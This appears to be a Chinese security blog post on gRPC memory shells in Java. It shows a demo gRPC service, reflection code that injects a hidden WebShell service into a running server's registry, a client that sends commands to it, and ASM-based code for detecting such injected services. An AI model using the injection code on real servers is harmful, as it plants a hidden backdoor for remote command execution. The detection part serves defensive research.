戳上面的蓝字关注我吧!
syntax = "proto3";
package protocol;
option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";
message User {
int32 userId = 1;
string username = 2;
sint32 age = 3;
string name = 4;
}
service UserService {
rpc getUser (User) returns (User) {}
rpc getUsers (User) returns (stream User) {}
rpc saveUsers (stream User) returns (User) {}
}
protoc -I=. --java_out=./codes/ user.proto
protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto
package com.demo.shell.service;
import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.stub.StreamObserver;
/**
* @author demo
* @date 2022/11/27
*/
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
@Override
public void getUser(User request, StreamObserver<User> responseObserver) {
System.out.println(request);
User user = User.newBuilder()
.setName("response name")
.build();
responseObserver.onNext(user);
responseObserver.onCompleted();
}
@Override
public void getUsers(User request, StreamObserver<User> responseObserver) {
System.out.println("get users");
System.out.println(request);
User user = User.newBuilder()
.setName("user1")
.build();
User user2 = User.newBuilder()
.setName("user2")
.build();
responseObserver.onNext(user);
responseObserver.onNext(user2);
responseObserver.onCompleted();
}
@Override
public StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {
return new StreamObserver<User>() {
@Override
public void onNext(User user) {
System.out.println("get saveUsers list ---->");
System.out.println(user);
}
@Override
public void onError(Throwable throwable) {
System.out.println("saveUsers error " + throwable.getMessage());
}
@Override
public void onCompleted() {
User user = User.newBuilder()
.setName("saveUsers user1")
.build();
responseObserver.onNext(user);
responseObserver.onCompleted();
}
};
}
}
public static void main(String[] args) throws Exception {
int port = 8082;
Server server = NettyServerBuilder
.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
System.out.println("server started, port : " + port);
server.awaitTermination();
}
package com.demo.shell.test;
import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;
import java.util.Iterator;
/**
* @author demo
* @date 2022/11/27
*/
public class NsTest {
public static void main(String[] args) {
User user = User.newBuilder()
.setUserId(100)
.build();
String host = "127.0.0.1";
int port = 8082;
ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
User responseUser = userServiceBlockingStub.getUser(user);
System.out.println(responseUser);
Iterator<User> users = userServiceBlockingStub.getUsers(user);
while (users.hasNext()) {
System.out.println(users.next());
}
channel.shutdown();
}
}
int port = 8082;
Server server = NettyServerBuilder
.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
public T addService(BindableService bindableService) {
this.delegate().addService(bindableService);
return this.thisT();
}
@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {
return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())
.addMethod(
getGetUserMethod(),
io.grpc.stub.ServerCalls.asyncUnaryCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_GET_USER)))
.addMethod(
getGetUsersMethod(),
io.grpc.stub.ServerCalls.asyncServerStreamingCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_GET_USERS)))
.addMethod(
getSaveUsersMethod(),
io.grpc.stub.ServerCalls.asyncClientStreamingCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_SAVE_USERS)))
.build();
}
public Server build() {
return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);
}
ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {
this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, "executorPool");
this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), "registryBuilder");
...
}
static final class Builder {
private final HashMap<String, ServerServiceDefinition> services = new LinkedHashMap();
Builder() {
}
InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {
this.services.put(service.getServiceDescriptor().getName(), service);
return this;
}
InternalHandlerRegistry build() {
Map<String, ServerMethodDefinition<?, ?>> map = new HashMap();
Iterator var2 = this.services.values().iterator();
while(var2.hasNext()) {
ServerServiceDefinition service = (ServerServiceDefinition)var2.next();
Iterator var4 = service.getMethods().iterator();
while(var4.hasNext()) {
ServerMethodDefinition<?, ?> method = (ServerMethodDefinition)var4.next();
map.put(method.getMethodDescriptor().getFullMethodName(), method);
}
}
return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));
}
}
public static void changeGRPCService(Server server){
try {
Field field = server.getClass().getDeclaredField("registry");
field.setAccessible(true);
Object registry = field.get(server);
Class<?> handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");
Field services = handler.getDeclaredField("services");
services.setAccessible(true);
List servicesList = (List) services.get(registry);
List<Object> newServicesList = new ArrayList<Object>(servicesList);
//调用WebShell的bindService
Class<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
Method m = cls.getDeclaredMethod("bindService");
BindableService obj = new WebshellServiceImpl();
ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);
newServicesList.add(service); //添加新的Service到List中
services.set(registry, Collections.unmodifiableList(newServicesList));
Field methods = handler.getDeclaredField("methods");
methods.setAccessible(true);
Map methodsMap = (Map) methods.get(registry);
Map<String,Object> newMethodsMap = new HashMap<String,Object>(methodsMap);
for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {
newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);
}
methods.set(registry,Collections.unmodifiableMap(newMethodsMap));
} catch (Exception e) {
e.printStackTrace();
}
}
package com.demo.shell.test;
import com.demo.shell.protocol.WebShellServiceGrpc;
import com.demo.shell.protocol.Webshell;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;
/**
* @author demo
* @date 2022/11/27
*/
public class NsTestShell {
public static void main(String[] args) {
Webshell webshell = Webshell.newBuilder()
.setPwd("x")
.setCmd("calc")
.build();
String host = "127.0.0.1";
int port = 8082;
ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
Webshell s = webShellServiceBlockingStub.exec(webshell);
System.out.println(s.getCmd());
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
channel.shutdown();
}
}
ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);
reader.accept(visitor, 0);
package com.websocket.findMemShell;
import java.util.List;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
public class GrpcClassVisitor extends ClassVisitor {
private String ClassName = null;
private List<String> Grpc_Methods_list;
public GrpcClassVisitor(ClassWriter writer,List<String> Grpc_Methods_list) {
super(Opcodes.ASM4, writer);
this.Grpc_Methods_list = Grpc_Methods_list;
}
@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
if(superName.contains("ServiceGrpc")) {
try {
String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\\.")).getInterfaces()[0].getName();
if(cls.equals("io.grpc.BindableService")) {
//System.out.println("SuperName Class:"+cls);
this.ClassName = name;
}
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
super.visit(version, access, name, signature, superName, interfaces);
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);
if(this.ClassName == null) {
return methodVisitor;
}else {
return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);
}
}
class MyMethodVisitor extends MethodVisitor implements Opcodes {
private String MethodName;
private String ClassName;
private List<String> Grpc_Methods_list;
public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List<String> Grpc_Methods_list) {
super(Opcodes.ASM5, mv);
this.MethodName = name;
this.ClassName = ClassName;
this.Grpc_Methods_list = Grpc_Methods_list;
}
@Override
public void visitMethodInsn(final int opcode, final String owner,
final String name, final String desc, final boolean itf) {
if(!this.Grpc_Methods_list.contains(this.ClassName+"#"+this.MethodName)) {
this.Grpc_Methods_list.add(this.ClassName+"#"+this.MethodName);
//System.out.println(this.ClassName+"#"+this.MethodName);
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
}
}
if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\.", "/"))) {
List<String> list = discoveredCalls.get(cp.getClassName().replaceAll("\\.", "/"));
for(String str : list) {
if(dfsSearchSink(str)) {
stack.push(str);
stack.push(cp.getClassName().replaceAll("\\.", "/"));
StringBuilder sb = new StringBuilder();
while(!stack.empty()) {
sb.append("->");
sb.append(stack.pop());
}
System.out.println("Controller CallEdge: "+sb.toString());
break;
}
}
}